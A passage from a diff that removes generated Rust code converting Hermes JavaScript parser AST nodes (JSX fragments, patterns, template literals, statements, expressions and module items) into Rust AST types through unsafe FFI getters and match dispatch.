-        let children = convert_vec(
-            unsafe { hermes::parser::hermes_get_JSXFragment_children(node) },
-            |node| JSXChildItem::convert(cx, node),
-        );
-        let closing_fragment = JSXClosingFragment::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXFragment_closingFragment(node) },
-        );
-        Self {
-            opening_fragment,
-            children,
-            closing_fragment,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXOpeningFragment {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXOpeningFragment);
-        let range = convert_range(cx, node);
-        Self {
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXClosingFragment {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXClosingFragment);
-        let range = convert_range(cx, node);
-        Self {
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ArrayPattern {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ArrayPattern);
-        let range = convert_range(cx, node);
-        let elements = convert_vec_of_option(
-            unsafe { hermes::parser::hermes_get_ArrayPattern_elements(node) },
-            |node| Pattern::convert(cx, node),
-        );
-        Self {
-            elements,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ObjectPattern {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ObjectPattern);
-        let range = convert_range(cx, node);
-        let properties = convert_vec(
-            unsafe { hermes::parser::hermes_get_ObjectPattern_properties(node) },
-            |node| AssignmentPropertyOrRestElement::convert(cx, node),
-        );
-        Self {
-            properties,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for RestElement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::RestElement);
-        let range = convert_range(cx, node);
-        let argument = Pattern::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_RestElement_argument(node) },
-        );
-        Self {
-            argument,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for AssignmentPattern {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::AssignmentPattern);
-        let range = convert_range(cx, node);
-        let left = Pattern::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_AssignmentPattern_left(node) },
-        );
-        let right = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_AssignmentPattern_right(node) },
-        );
-        Self {
-            left,
-            right,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for TemplateLiteral {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::TemplateLiteral);
-        let range = convert_range(cx, node);
-        let quasis = convert_vec(
-            unsafe { hermes::parser::hermes_get_TemplateLiteral_quasis(node) },
-            |node| TemplateElement::convert(cx, node),
-        );
-        let expressions = convert_vec(
-            unsafe { hermes::parser::hermes_get_TemplateLiteral_expressions(node) },
-            |node| Expression::convert(cx, node),
-        );
-        Self {
-            quasis,
-            expressions,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for TaggedTemplateExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::TaggedTemplateExpression);
-        let range = convert_range(cx, node);
-        let tag = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_TaggedTemplateExpression_tag(node) },
-        );
-        let quasi = TemplateLiteral::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_TaggedTemplateExpression_quasi(node) },
-        );
-        Self {
-            tag,
-            quasi,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for MetaProperty {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::MetaProperty);
-        let range = convert_range(cx, node);
-        let meta = Identifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_MetaProperty_meta(node) },
-        );
-        let property = Identifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_MetaProperty_property(node) },
-        );
-        Self {
-            meta,
-            property,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for AwaitExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::AwaitExpression);
-        let range = convert_range(cx, node);
-        let argument = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_AwaitExpression_argument(node) },
-        );
-        Self {
-            argument,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for OptionalMemberExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::OptionalMemberExpression);
-        let range = convert_range(cx, node);
-        let object = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_OptionalMemberExpression_object(node) },
-        );
-        let property = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_OptionalMemberExpression_property(node) },
-        );
-        let is_computed = unsafe {
-            hermes::parser::hermes_get_OptionalMemberExpression_computed(node)
-        };
-        let is_optional = unsafe {
-            hermes::parser::hermes_get_OptionalMemberExpression_optional(node)
-        };
-        Self {
-            object,
-            property,
-            is_computed,
-            is_optional,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for OptionalCallExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::OptionalCallExpression);
-        let range = convert_range(cx, node);
-        let callee = ExpressionOrSuper::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_OptionalCallExpression_callee(node) },
-        );
-        let arguments = convert_vec(
-            unsafe { hermes::parser::hermes_get_OptionalCallExpression_arguments(node) },
-            |node| ExpressionOrSpread::convert(cx, node),
-        );
-        let is_optional = unsafe {
-            hermes::parser::hermes_get_OptionalCallExpression_optional(node)
-        };
-        Self {
-            callee,
-            arguments,
-            is_optional,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ImportExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ImportExpression);
-        let range = convert_range(cx, node);
-        let source = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ImportExpression_source(node) },
-        );
-        Self {
-            source,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ClassProperty {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ClassProperty);
-        let range = convert_range(cx, node);
-        let key = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ClassProperty_key(node) },
-        );
-        let value = convert_option(
-            unsafe { hermes::parser::hermes_get_ClassProperty_value(node) },
-            |node| Expression::convert(cx, node),
-        );
-        let is_computed = unsafe {
-            hermes::parser::hermes_get_ClassProperty_computed(node)
-        };
-        let is_static = unsafe { hermes::parser::hermes_get_ClassProperty_static(node) };
-        Self {
-            key,
-            value,
-            is_computed,
-            is_static,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ClassPrivateProperty {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ClassPrivateProperty);
-        let range = convert_range(cx, node);
-        let key = ExpressionOrPrivateIdentifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ClassPrivateProperty_key(node) },
-        );
-        let value = convert_option(
-            unsafe { hermes::parser::hermes_get_ClassPrivateProperty_value(node) },
-            |node| Expression::convert(cx, node),
-        );
-        let is_static = unsafe {
-            hermes::parser::hermes_get_ClassPrivateProperty_static(node)
-        };
-        Self {
-            key,
-            value,
-            is_static,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for PrivateName {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::PrivateName);
-        let range = convert_range(cx, node);
-        let id = Identifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_PrivateName_id(node) },
-        );
-        Self {
-            id,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for CoverTypedIdentifier {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::CoverTypedIdentifier);
-        let range = convert_range(cx, node);
-        let left = Identifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_CoverTypedIdentifier_left(node) },
-        );
-        let right = convert_option(
-            unsafe { hermes::parser::hermes_get_CoverTypedIdentifier_right(node) },
-            |node| TypeAnnotation::convert(cx, node),
-        );
-        Self {
-            left,
-            right,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for TSTypeAnnotation {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::TSTypeAnnotation);
-        let range = convert_range(cx, node);
-        Self {
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for TSTypeAliasDeclaration {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::TSTypeAliasDeclaration);
-        let range = convert_range(cx, node);
-        Self {
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for Statement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::BlockStatement => {
-                let node = BlockStatement::convert(cx, node);
-                Statement::BlockStatement(Box::new(node))
-            }
-            NodeKind::BreakStatement => {
-                let node = BreakStatement::convert(cx, node);
-                Statement::BreakStatement(Box::new(node))
-            }
-            NodeKind::ClassDeclaration => {
-                let node = ClassDeclaration::convert(cx, node);
-                Statement::ClassDeclaration(Box::new(node))
-            }
-            NodeKind::ContinueStatement => {
-                let node = ContinueStatement::convert(cx, node);
-                Statement::ContinueStatement(Box::new(node))
-            }
-            NodeKind::DebuggerStatement => {
-                let node = DebuggerStatement::convert(cx, node);
-                Statement::DebuggerStatement(Box::new(node))
-            }
-            NodeKind::DoWhileStatement => {
-                let node = DoWhileStatement::convert(cx, node);
-                Statement::DoWhileStatement(Box::new(node))
-            }
-            NodeKind::EmptyStatement => {
-                let node = EmptyStatement::convert(cx, node);
-                Statement::EmptyStatement(Box::new(node))
-            }
-            NodeKind::ExpressionStatement => {
-                let node = ExpressionStatement::convert(cx, node);
-                Statement::ExpressionStatement(Box::new(node))
-            }
-            NodeKind::ForInStatement => {
-                let node = ForInStatement::convert(cx, node);
-                Statement::ForInStatement(Box::new(node))
-            }
-            NodeKind::ForOfStatement => {
-                let node = ForOfStatement::convert(cx, node);
-                Statement::ForOfStatement(Box::new(node))
-            }
-            NodeKind::ForStatement => {
-                let node = ForStatement::convert(cx, node);
-                Statement::ForStatement(Box::new(node))
-            }
-            NodeKind::FunctionDeclaration => {
-                let node = FunctionDeclaration::convert(cx, node);
-                Statement::FunctionDeclaration(Box::new(node))
-            }
-            NodeKind::IfStatement => {
-                let node = IfStatement::convert(cx, node);
-                Statement::IfStatement(Box::new(node))
-            }
-            NodeKind::LabeledStatement => {
-                let node = LabeledStatement::convert(cx, node);
-                Statement::LabeledStatement(Box::new(node))
-            }
-            NodeKind::ReturnStatement => {
-                let node = ReturnStatement::convert(cx, node);
-                Statement::ReturnStatement(Box::new(node))
-            }
-            NodeKind::SwitchStatement => {
-                let node = SwitchStatement::convert(cx, node);
-                Statement::SwitchStatement(Box::new(node))
-            }
-            NodeKind::ThrowStatement => {
-                let node = ThrowStatement::convert(cx, node);
-                Statement::ThrowStatement(Box::new(node))
-            }
-            NodeKind::TryStatement => {
-                let node = TryStatement::convert(cx, node);
-                Statement::TryStatement(Box::new(node))
-            }
-            NodeKind::TSTypeAliasDeclaration => {
-                let node = TSTypeAliasDeclaration::convert(cx, node);
-                Statement::TSTypeAliasDeclaration(Box::new(node))
-            }
-            NodeKind::VariableDeclaration => {
-                let node = VariableDeclaration::convert(cx, node);
-                Statement::VariableDeclaration(Box::new(node))
-            }
-            NodeKind::WhileStatement => {
-                let node = WhileStatement::convert(cx, node);
-                Statement::WhileStatement(Box::new(node))
-            }
-            NodeKind::WithStatement => {
-                let node = WithStatement::convert(cx, node);
-                Statement::WithStatement(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind, "Statement"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for Expression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::ArrayExpression => {
-                let node = ArrayExpression::convert(cx, node);
-                Expression::ArrayExpression(Box::new(node))
-            }
-            NodeKind::ArrowFunctionExpression => {
-                let node = ArrowFunctionExpression::convert(cx, node);
-                Expression::ArrowFunctionExpression(Box::new(node))
-            }
-            NodeKind::AssignmentExpression => {
-                let node = AssignmentExpression::convert(cx, node);
-                Expression::AssignmentExpression(Box::new(node))
-            }
-            NodeKind::AwaitExpression => {
-                let node = AwaitExpression::convert(cx, node);
-                Expression::AwaitExpression(Box::new(node))
-            }
-            NodeKind::BinaryExpression => {
-                let node = BinaryExpression::convert(cx, node);
-                Expression::BinaryExpression(Box::new(node))
-            }
-            NodeKind::BooleanLiteral => {
-                let node = BooleanLiteral::convert(cx, node);
-                Expression::BooleanLiteral(Box::new(node))
-            }
-            NodeKind::CallExpression => {
-                let node = CallExpression::convert(cx, node);
-                Expression::CallExpression(Box::new(node))
-            }
-            NodeKind::ClassExpression => {
-                let node = ClassExpression::convert(cx, node);
-                Expression::ClassExpression(Box::new(node))
-            }
-            NodeKind::ConditionalExpression => {
-                let node = ConditionalExpression::convert(cx, node);
-                Expression::ConditionalExpression(Box::new(node))
-            }
-            NodeKind::CoverTypedIdentifier => {
-                let node = CoverTypedIdentifier::convert(cx, node);
-                Expression::CoverTypedIdentifier(Box::new(node))
-            }
-            NodeKind::FunctionExpression => {
-                let node = FunctionExpression::convert(cx, node);
-                Expression::FunctionExpression(Box::new(node))
-            }
-            NodeKind::Identifier => {
-                let node = Identifier::convert(cx, node);
-                Expression::Identifier(Box::new(node))
-            }
-            NodeKind::ImportExpression => {
-                let node = ImportExpression::convert(cx, node);
-                Expression::ImportExpression(Box::new(node))
-            }
-            NodeKind::JSXElement => {
-                let node = JSXElement::convert(cx, node);
-                Expression::JSXElement(Box::new(node))
-            }
-            NodeKind::JSXFragment => {
-                let node = JSXFragment::convert(cx, node);
-                Expression::JSXFragment(Box::new(node))
-            }
-            NodeKind::LogicalExpression => {
-                let node = LogicalExpression::convert(cx, node);
-                Expression::LogicalExpression(Box::new(node))
-            }
-            NodeKind::MemberExpression => {
-                let node = MemberExpression::convert(cx, node);
-                Expression::MemberExpression(Box::new(node))
-            }
-            NodeKind::MetaProperty => {
-                let node = MetaProperty::convert(cx, node);
-                Expression::MetaProperty(Box::new(node))
-            }
-            NodeKind::NewExpression => {
-                let node = NewExpression::convert(cx, node);
-                Expression::NewExpression(Box::new(node))
-            }
-            NodeKind::NullLiteral => {
-                let node = NullLiteral::convert(cx, node);
-                Expression::NullLiteral(Box::new(node))
-            }
-            NodeKind::NumericLiteral => {
-                let node = NumericLiteral::convert(cx, node);
-                Expression::NumericLiteral(Box::new(node))
-            }
-            NodeKind::ObjectExpression => {
-                let node = ObjectExpression::convert(cx, node);
-                Expression::ObjectExpression(Box::new(node))
-            }
-            NodeKind::OptionalCallExpression => {
-                let node = OptionalCallExpression::convert(cx, node);
-                Expression::OptionalCallExpression(Box::new(node))
-            }
-            NodeKind::OptionalMemberExpression => {
-                let node = OptionalMemberExpression::convert(cx, node);
-                Expression::OptionalMemberExpression(Box::new(node))
-            }
-            NodeKind::RegExpLiteral => {
-                let node = RegExpLiteral::convert(cx, node);
-                Expression::RegExpLiteral(Box::new(node))
-            }
-            NodeKind::SequenceExpression => {
-                let node = SequenceExpression::convert(cx, node);
-                Expression::SequenceExpression(Box::new(node))
-            }
-            NodeKind::StringLiteral => {
-                let node = StringLiteral::convert(cx, node);
-                Expression::StringLiteral(Box::new(node))
-            }
-            NodeKind::TaggedTemplateExpression => {
-                let node = TaggedTemplateExpression::convert(cx, node);
-                Expression::TaggedTemplateExpression(Box::new(node))
-            }
-            NodeKind::TemplateLiteral => {
-                let node = TemplateLiteral::convert(cx, node);
-                Expression::TemplateLiteral(Box::new(node))
-            }
-            NodeKind::ThisExpression => {
-                let node = ThisExpression::convert(cx, node);
-                Expression::ThisExpression(Box::new(node))
-            }
-            NodeKind::UnaryExpression => {
-                let node = UnaryExpression::convert(cx, node);
-                Expression::UnaryExpression(Box::new(node))
-            }
-            NodeKind::UpdateExpression => {
-                let node = UpdateExpression::convert(cx, node);
-                Expression::UpdateExpression(Box::new(node))
-            }
-            NodeKind::YieldExpression => {
-                let node = YieldExpression::convert(cx, node);
-                Expression::YieldExpression(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind, "Expression"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for _Literal {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::BooleanLiteral => {
-                let node = BooleanLiteral::convert(cx, node);
-                _Literal::BooleanLiteral(Box::new(node))
-            }
-            NodeKind::NullLiteral => {
-                let node = NullLiteral::convert(cx, node);
-                _Literal::NullLiteral(Box::new(node))
-            }
-            NodeKind::StringLiteral => {
-                let node = StringLiteral::convert(cx, node);
-                _Literal::StringLiteral(Box::new(node))
-            }
-            NodeKind::NumericLiteral => {
-                let node = NumericLiteral::convert(cx, node);
-                _Literal::NumericLiteral(Box::new(node))
-            }
-            _ => {
-                panic!("Unexpected node kind `{:?}` for `{}`", node_ref.kind, "_Literal")
-            }
-        }
-    }
-}
-impl FromHermes for Declaration {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::ClassDeclaration => {
-                let node = ClassDeclaration::convert(cx, node);
-                Declaration::ClassDeclaration(Box::new(node))
-            }
-            NodeKind::FunctionDeclaration => {
-                let node = FunctionDeclaration::convert(cx, node);
-                Declaration::FunctionDeclaration(Box::new(node))
-            }
-            NodeKind::VariableDeclaration => {
-                let node = VariableDeclaration::convert(cx, node);
-                Declaration::VariableDeclaration(Box::new(node))
-            }
-            NodeKind::TSTypeAliasDeclaration => {
-                let node = TSTypeAliasDeclaration::convert(cx, node);
-                Declaration::TSTypeAliasDeclaration(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind, "Declaration"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for ImportDeclarationSpecifier {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::ImportSpecifier => {
-                let node = ImportSpecifier::convert(cx, node);
-                ImportDeclarationSpecifier::ImportSpecifier(Box::new(node))
-            }
-            NodeKind::ImportDefaultSpecifier => {
-                let node = ImportDefaultSpecifier::convert(cx, node);
-                ImportDeclarationSpecifier::ImportDefaultSpecifier(Box::new(node))
-            }
-            NodeKind::ImportNamespaceSpecifier => {
-                let node = ImportNamespaceSpecifier::convert(cx, node);
-                ImportDeclarationSpecifier::ImportNamespaceSpecifier(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "ImportDeclarationSpecifier"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for ModuleItem {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::ImportDeclaration => {
-                let node = ImportDeclaration::convert(cx, node);
-                ModuleItem::ImportOrExportDeclaration(
-                    ImportOrExportDeclaration::ImportDeclaration(Box::new(node)),
-                )
-            }
-            NodeKind::ExportNamedDeclaration => {
-                let node = ExportNamedDeclaration::convert(cx, node);
-                ModuleItem::ImportOrExportDeclaration(
-                    ImportOrExportDeclaration::ExportNamedDeclaration(Box::new(node)),
-                )
-            }
-            NodeKind::ExportDefaultDeclaration => {
-                let node = ExportDefaultDeclaration::convert(cx, node);
-                ModuleItem::ImportOrExportDeclaration(
-                    ImportOrExportDeclaration::ExportDefaultDeclaration(Box::new(node)),
-                )
-            }
-            NodeKind::ExportAllDeclaration => {
-                let node = ExportAllDeclaration::convert(cx, node);
-                ModuleItem::ImportOrExportDeclaration(
-                    ImportOrExportDeclaration::ExportAllDeclaration(Box::new(node)),
-                )
-            }
-            NodeKind::BlockStatement => {
-                let node = BlockStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::BlockStatement(Box::new(node)))
-            }
-            NodeKind::BreakStatement => {
-                let node = BreakStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::BreakStatement(Box::new(node)))
-            }
-            NodeKind::ClassDeclaration => {
-                let node = ClassDeclaration::convert(cx, node);
-                ModuleItem::Statement(Statement::ClassDeclaration(Box::new(node)))
-            }
-            NodeKind::ContinueStatement => {
-                let node = ContinueStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::ContinueStatement(Box::new(node)))
-            }
-            NodeKind::DebuggerStatement => {
-                let node = DebuggerStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::DebuggerStatement(Box::new(node)))
-            }
-            NodeKind::DoWhileStatement => {
-                let node = DoWhileStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::DoWhileStatement(Box::new(node)))
-            }
-            NodeKind::EmptyStatement => {
-                let node = EmptyStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::EmptyStatement(Box::new(node)))
-            }
-            NodeKind::ExpressionStatement => {
-                let node = ExpressionStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::ExpressionStatement(Box::new(node)))
-            }
-            NodeKind::ForInStatement => {
-                let node = ForInStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::ForInStatement(Box::new(node)))
-            }
-            NodeKind::ForOfStatement => {
-                let node = ForOfStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::ForOfStatement(Box::new(node)))
-            }
-            NodeKind::ForStatement => {
-                let node = ForStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::ForStatement(Box::new(node)))
-            }
-            NodeKind::FunctionDeclaration => {
-                let node = FunctionDeclaration::convert(cx, node);
-                ModuleItem::Statement(Statement::FunctionDeclaration(Box::new(node)))
-            }
-            NodeKind::IfStatement => {
-                let node = IfStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::IfStatement(Box::new(node)))
-            }
-            NodeKind::LabeledStatement => {
-                let node = LabeledStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::LabeledStatement(Box::new(node)))
-            }
-            NodeKind::ReturnStatement => {
-                let node = ReturnStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::ReturnStatement(Box::new(node)))
-            }
-            NodeKind::SwitchStatement => {
-                let node = SwitchStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::SwitchStatement(Box::new(node)))
-            }
-            NodeKind::ThrowStatement => {
-                let node = ThrowStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::ThrowStatement(Box::new(node)))
-            }
-            NodeKind::TryStatement => {
-                let node = TryStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::TryStatement(Box::new(node)))
-            }
-            NodeKind::TSTypeAliasDeclaration => {
-                let node = TSTypeAliasDeclaration::convert(cx, node);
-                ModuleItem::Statement(Statement::TSTypeAliasDeclaration(Box::new(node)))
-            }
-            NodeKind::VariableDeclaration => {
-                let node = VariableDeclaration::convert(cx, node);
-                ModuleItem::Statement(Statement::VariableDeclaration(Box::new(node)))
-            }
-            NodeKind::WhileStatement => {
-                let node = WhileStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::WhileStatement(Box::new(node)))
-            }
-            NodeKind::WithStatement => {
-                let node = WithStatement::convert(cx, node);
-                ModuleItem::Statement(Statement::WithStatement(Box::new(node)))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind, "ModuleItem"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for ImportOrExportDeclaration {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::ImportDeclaration => {
-                let node = ImportDeclaration::convert(cx, node);
-                ImportOrExportDeclaration::ImportDeclaration(Box::new(node))
-            }
-            NodeKind::ExportNamedDeclaration => {
-                let node = ExportNamedDeclaration::convert(cx, node);
-                ImportOrExportDeclaration::ExportNamedDeclaration(Box::new(node))
-            }
-            NodeKind::ExportDefaultDeclaration => {
-                let node = ExportDefaultDeclaration::convert(cx, node);
-                ImportOrExportDeclaration::ExportDefaultDeclaration(Box::new(node))
-            }
-            NodeKind::ExportAllDeclaration => {
-                let node = ExportAllDeclaration::convert(cx, node);
-                ImportOrExportDeclaration::ExportAllDeclaration(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "ImportOrExportDeclaration"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for ExpressionOrSuper {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::ArrayExpression => {
-                let node = ArrayExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::ArrayExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ArrowFunctionExpression => {
-                let node = ArrowFunctionExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::ArrowFunctionExpression(Box::new(node)),
-                )
-            }
-            NodeKind::AssignmentExpression => {
-                let node = AssignmentExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::AssignmentExpression(Box::new(node)),
-                )
-            }
-            NodeKind::AwaitExpression => {
-                let node = AwaitExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::AwaitExpression(Box::new(node)),
-                )
-            }
-            NodeKind::BinaryExpression => {
-                let node = BinaryExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::BinaryExpression(Box::new(node)),
-                )
-            }
-            NodeKind::BooleanLiteral => {
-                let node = BooleanLiteral::convert(cx, node);
-                ExpressionOrSuper::Expression(Expression::BooleanLiteral(Box::new(node)))
-            }
-            NodeKind::CallExpression => {
-                let node = CallExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(Expression::CallExpression(Box::new(node)))
-            }
-            NodeKind::ClassExpression => {
-                let node = ClassExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::ClassExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ConditionalExpression => {
-                let node = ConditionalExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::ConditionalExpression(Box::new(node)),
-                )
-            }
-            NodeKind::CoverTypedIdentifier => {
-                let node = CoverTypedIdentifier::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::CoverTypedIdentifier(Box::new(node)),
-                )
-            }
-            NodeKind::FunctionExpression => {
-                let node = FunctionExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::FunctionExpression(Box::new(node)),
-                )
-            }
-            NodeKind::Identifier => {
-                let node = Identifier::convert(cx, node);
-                ExpressionOrSuper::Expression(Expression::Identifier(Box::new(node)))
-            }
-            NodeKind::ImportExpression => {
-                let node = ImportExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::ImportExpression(Box::new(node)),
-                )
-            }
-            NodeKind::JSXElement => {
-                let node = JSXElement::convert(cx, node);
-                ExpressionOrSuper::Expression(Expression::JSXElement(Box::new(node)))
-            }
-            NodeKind::JSXFragment => {
-                let node = JSXFragment::convert(cx, node);
-                ExpressionOrSuper::Expression(Expression::JSXFragment(Box::new(node)))
-            }
-            NodeKind::LogicalExpression => {
-                let node = LogicalExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::LogicalExpression(Box::new(node)),
-                )
-            }
-            NodeKind::MemberExpression => {
-                let node = MemberExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::MemberExpression(Box::new(node)),
-                )
-            }
-            NodeKind::MetaProperty => {
-                let node = MetaProperty::convert(cx, node);
-                ExpressionOrSuper::Expression(Expression::MetaProperty(Box::new(node)))
-            }
-            NodeKind::NewExpression => {
-                let node = NewExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(Expression::NewExpression(Box::new(node)))
-            }
-            NodeKind::NullLiteral => {
-                let node = NullLiteral::convert(cx, node);
-                ExpressionOrSuper::Expression(Expression::NullLiteral(Box::new(node)))
-            }
-            NodeKind::NumericLiteral => {
-                let node = NumericLiteral::convert(cx, node);
-                ExpressionOrSuper::Expression(Expression::NumericLiteral(Box::new(node)))
-            }
